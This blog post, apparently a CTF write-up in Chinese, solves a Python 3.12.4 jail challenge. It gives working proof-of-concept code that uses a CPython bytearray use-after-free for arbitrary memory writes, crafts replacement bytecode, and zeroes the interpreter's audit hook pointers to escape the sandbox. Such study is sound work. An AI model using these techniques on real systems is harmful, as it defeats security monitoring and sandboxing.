本文最后更新于 158 天前,其中的信息可能已经有所发展或是发生改变。
唉,好nb的一个题,先写个搓出来的poc,具体原理等期末结束再细写
Audited
- server.py
#!python3.12
# run on python 3.12.4
import sys
import os
import json
assert sys.version.startswith("3.12.4")
test_code = input("Enter the function in json: ")
sys.stdin.close()
if len(test_code) > 2540:
exit(1)
test_code: json = json.loads(test_code)
del json
test_code["co_consts"] = tuple(tuple(a) if isinstance(
a, list) else a for a in test_code["co_consts"])
test_code["co_names"] = tuple(tuple(a) if isinstance(
a, list) else a for a in test_code["co_names"])
test_code["co_varnames"] = tuple(tuple(a) if isinstance(
a, list) else a for a in test_code["co_varnames"])
def check_ele(ele, inner=False):
if ele is None:
pass
elif isinstance(ele, int):
# some random magic numbers w/o any meaning
if ele not in range(-0xd000, 0x50000):
exit(1)
elif isinstance(ele, str):
if any((ord(a) not in (list(range(ord('0'), ord('9') + 1)) + list(range(ord('a'), ord('z') + 1)) + list(range(ord('A'), ord('Z') + 1)) + [95])) for a in ele):
exit(1)
elif len(ele) > 242:
exit(1)
elif isinstance(ele, tuple):
if inner:
exit(1)
for a in ele:
check_ele(a, True)
else:
exit(1)
for ele in test_code["co_consts"] + test_code["co_names"]:
check_ele(ele)
del check_ele
def test(): pass
test.__code__ = test.__code__.replace(co_code=bytes.fromhex(test_code["co_code"]),
co_consts=test_code["co_consts"],
co_names=test_code["co_names"],
co_stacksize=test_code["co_stacksize"],
co_nlocals=test_code["co_nlocals"],
co_varnames=test_code["co_varnames"])
del test_code
def auditHookHandler(e):
def handler(x, _):
if not (x == "object.__getattr__" or x == "object.__setattr__" or x == "code.__new__"):
e(1) #looololooo
while(1): pass
return handler
sys.addaudithook(auditHookHandler(os._exit))
del sys
test()
# free flag?! :)
os.system("cat /flag")
- 首先看逻辑,接受输入参数,转换为
json
,然后从test_code
中取出co_*
的值,通过CodeType.replace
将函数的行为替换为你输入的值,需要传递下列值
test_code = {
"co_code": str,
"co_consts": tuple,
"co_names": tuple,
"co_stacksize": int,
"co_nlocals": int,
"co_varnames": tuple
}
- 限制主要三个部分:限制长度;限制
int
和str
的值;通过audithook
限制event事件触发
if len(test_code) > 2540:
exit(1)
def check_ele(ele, inner=False):
if ele is None:
pass
elif isinstance(ele, int):
# some random magic numbers w/o any meaning
if ele not in range(-0xd000, 0x50000):
exit(1)
elif isinstance(ele, str):
if any((ord(a) not in (list(range(ord('0'), ord('9') + 1)) + list(range(ord('a'), ord('z') + 1)) + list(range(ord('A'), ord('Z') + 1)) + [95])) for a in ele):
exit(1)
elif len(ele) > 242:
exit(1)
elif isinstance(ele, tuple):
if inner:
exit(1)
for a in ele:
check_ele(a, True)
else:
exit(1)
def auditHookHandler(e):
def handler(x, _):
if not (x == "object.__getattr__" or x == "object.__setattr__" or x == "code.__new__"):
e(1) #looololooo
while(1): pass
return handler
- 此外还有个比较隐晦的限制
test_code = input("Enter the function in json: ")
...
test_code: json = json.loads(test_code)
- 自定义函数后,尝试获取到的属性有时并不能够被转换为json,自然,此种代码不能通过
loads
读入
def t():
def test():
pass
test_code = {
"co_code": t.__code__.co_code.hex(),
"co_consts": t.__code__.co_consts,
"co_names": t.__code__.co_names,
"co_stacksize": t.__code__.co_stacksize,
"co_nlocals": t.__code__.co_nlocals,
"co_varnames": t.__code__.co_varnames
}
print(test_code)
test_code = json.dumps(test_code)
"""
{'co_code': '9700640184007d007900', 'co_consts': (None, <code object test at 0x000002998E21C440, file "C:\Users\JBN\Downloads\test.py", line 12>), 'co_names': (), 'co_stacksize': 1, 'co_nlocals': 1, 'co_varnames': ('test',)}
Traceback (most recent call last):
File "C:\Users\JBN\Downloads\test.py", line 44, in <module>
test_code = json.dumps(test_code)
^^^^^^^^^^^^^^^^^^^^^
File "C:\JBNRZ\Applications\anaconda\envs\python3.12\Lib\json\__init__.py", line 231, in dumps
return _default_encoder.encode(obj)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\JBNRZ\Applications\anaconda\envs\python3.12\Lib\json\encoder.py", line 200, in encode
chunks = self.iterencode(o, _one_shot=True)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\JBNRZ\Applications\anaconda\envs\python3.12\Lib\json\encoder.py", line 258, in iterencode
return _iterencode(o, 0)
^^^^^^^^^^^^^^^^^
File "C:\JBNRZ\Applications\anaconda\envs\python3.12\Lib\json\encoder.py", line 180, in default
raise TypeError(f'Object of type {o.__class__.__name__} '
TypeError: Object of type code is not JSON serializable
"""
- 此题的关键在于hook函数的绕过,先提一嘴一开始尝试过的路子
def auditHookHandler(e):
def handler(x, _):
if not (x == "object.__getattr__" or x == "object.__setattr__" or x == "code.__new__"):
e(1) #looololooo
while(1): pass
return handler
- 当事件不为这个三类值时,触发
exit
退出进程,那么则想过能否将exit
通过内存修改为其他函数,不让进程退出;很巧,之前看过一个大跌写的文章,似乎用在这里很合适;简单总结即为通过ctypes
覆盖到sys._exit
的内存,替换为其余函数;但是存在两个问题,首先此题中获取不到ctypes
,其次,即便成功覆盖,也无法绕过死循环while(1)
(之前看的时候手动引入了ctypes
而且也没看到死循环,属实是眼瞎的不行了💔
from ctypes import POINTER, c_uint64, cast
import os
def get_func_addr(func):
return int(str(func.__call__).split("at ")[1][:-1], 16)
addr = get_func_addr(print)
ptr = cast(addr, POINTER(c_uint64))
m_ml = ptr[2]
ptr2 = cast(m_ml, POINTER(c_uint64))
print_ml_meth = ptr2[1] # ml_meth
addr = get_func_addr(os._exit)
assert addr == id(os._exit)
ptr = cast(addr, POINTER(c_uint64))
m_ml = ptr[2]
ptr2 = cast(m_ml, POINTER(c_uint64))
ptr2[1] = print_ml_meth
- 虽然这个路子不行,但是思路可以借鉴,能否将
hook
函数替换掉或者删掉,但是尝试在官方文档中搜索后得到的结论是不行
Hooks cannot be removed or replaced
- 淦,总不能python有bug吧?还真是;依据issues可以得知在python多个版本中存在UAF(Use After Free),从而在指定地址写入新的数据;
class UAF:
def __index__(self):
global memory
uaf.clear()
memory = bytearray()
uaf.extend([0] * 56)
return 1
uaf = bytearray(56)
uaf[23] = UAF()
memory[id(23) + 24] = 123
print(23)
"""
123
"""
- 则我们可以通过这个bug将hook函数覆盖掉,现在新的问题变成了,我们该如何获取到hook函数的地址;在这个issues中提到了一个绕过audit的仓库,我们只需在本地的环境中实现他的方法就行
class UAF:
def __index__(self):
global memory
uaf.clear()
memory = bytearray()
uaf.extend([0] * 56)
return 1
uaf = bytearray(56)
uaf[23] = UAF()
# end of arbitery writing exploit code
# any function works here theoretically
ptr = getptr(os.system.__init__) + PTR_OFFSET[0]
ptr = int.from_bytes(memory[ptr:ptr + 8], 'little') + PTR_OFFSET[1]
audit_hook_by_py = int.from_bytes(memory[ptr:ptr + 8], 'little') + PTR_OFFSET[2]
audit_hook_by_c = int.from_bytes(memory[ptr:ptr + 8], 'little') + PTR_OFFSET[3]
memory[audit_hook_by_py:audit_hook_by_py + 8] = [0] * 8
memory[audit_hook_by_c:audit_hook_by_c + 8] = [0] * 8
- 通过
type()
代替class
,定义一个具有__index__
方法的类
# 类名 基类 方法
a = type("A", (object, ), {"__index__": auditHookHandler(0)})
- 实际上这块儿
__index__
的值不一定非得auditHookHandler()
,只需满足isinstance("test", FunctionType)
即可,后续通过__code__.replace
替换该函数的实际功能
class UAF:
def __index__(self):
global memory
uaf.clear()
memory = bytearray()
uaf.extend([0] * 56)
return 1
t = UAF.__index__.__code__
for i in dir(t):
if i.startswith('co_') and i != "co_lnotab":
print(i, getattr(t, i))
def auditHookHandler(e):
def handler(x, _):
if not (x == "object.__getattr__" or x == "object.__setattr__" or x == "code.__new__"):
e(1) #looololooo
while(1): pass
return handler
t = auditHookHandler(0).__code__
for i in dir(t):
if i.startswith('co_') and i != "co_lnotab":
print(i, getattr(t, i))
- 比对以下两个函数在定义上的差别,将影响函数行为的值都替换掉
a.__index__.__code__: types.CodeType = a.__index__.__code__.replace(
co_argcount=1,
co_code=bytes.fromhex("9700740000000000000000006a03000000000000000000000000000000000000ab00000000000000010074050000000000000000ab000000000000006103740000000000000000006a090000000000000000000000000000000000006401670164027a050000ab0100000000000001007903"),
co_consts=(None, 0, 56, 1),
co_names=('uaf', 'clear', 'bytearray', 'memory', 'extend'),
co_stacksize=4,
co_varnames=("self",),
co_nlocals=1
)
- 替换的目标函数为
def __index__(self):
global memory
uaf.clear()
memory = bytearray()
uaf.extend([0] * 56)
return 1
- 之后即可仿照原仓库,以
os.system
为基,计算hook函数的内存地址,其中,本题限定python==3.12.4
def t():
# 调试中发现会出现memory uaf not defined的问题,声明一下全局变量即可
global uaf, memory
a = type("A", (object, ), {"__index__": auditHookHandler(0)})
a.__index__.__code__ = a.__index__.__code__.replace(
# 原CodeType和目标CodeType差异不小,将一些特殊的属性都替换掉,保持函数行为一致
co_argcount=1,
co_code=bytes.fromhex("9700740000000000000000006a03000000000000000000000000000000000000ab00000000000000010074050000000000000000ab000000000000006103740000000000000000006a090000000000000000000000000000000000006401670164027a050000ab0100000000000001007903"),
co_consts=(None, 0, 56, 1),
co_names=('uaf', 'clear', 'bytearray', 'memory', 'extend'),
co_stacksize=4,
co_varnames=("self",),
co_nlocals=1
)
uaf = bytearray(56)
uaf[23] = a()
p = int(str(os.system.__init__).split()[-1][2:-1], 16) + 24
p = int.from_bytes(memory[p:p + 8], 'little') + 48
hook = int.from_bytes(memory[p:p + 8], 'little') + 0x46920
memory[hook:hook + 8] = [0] * 8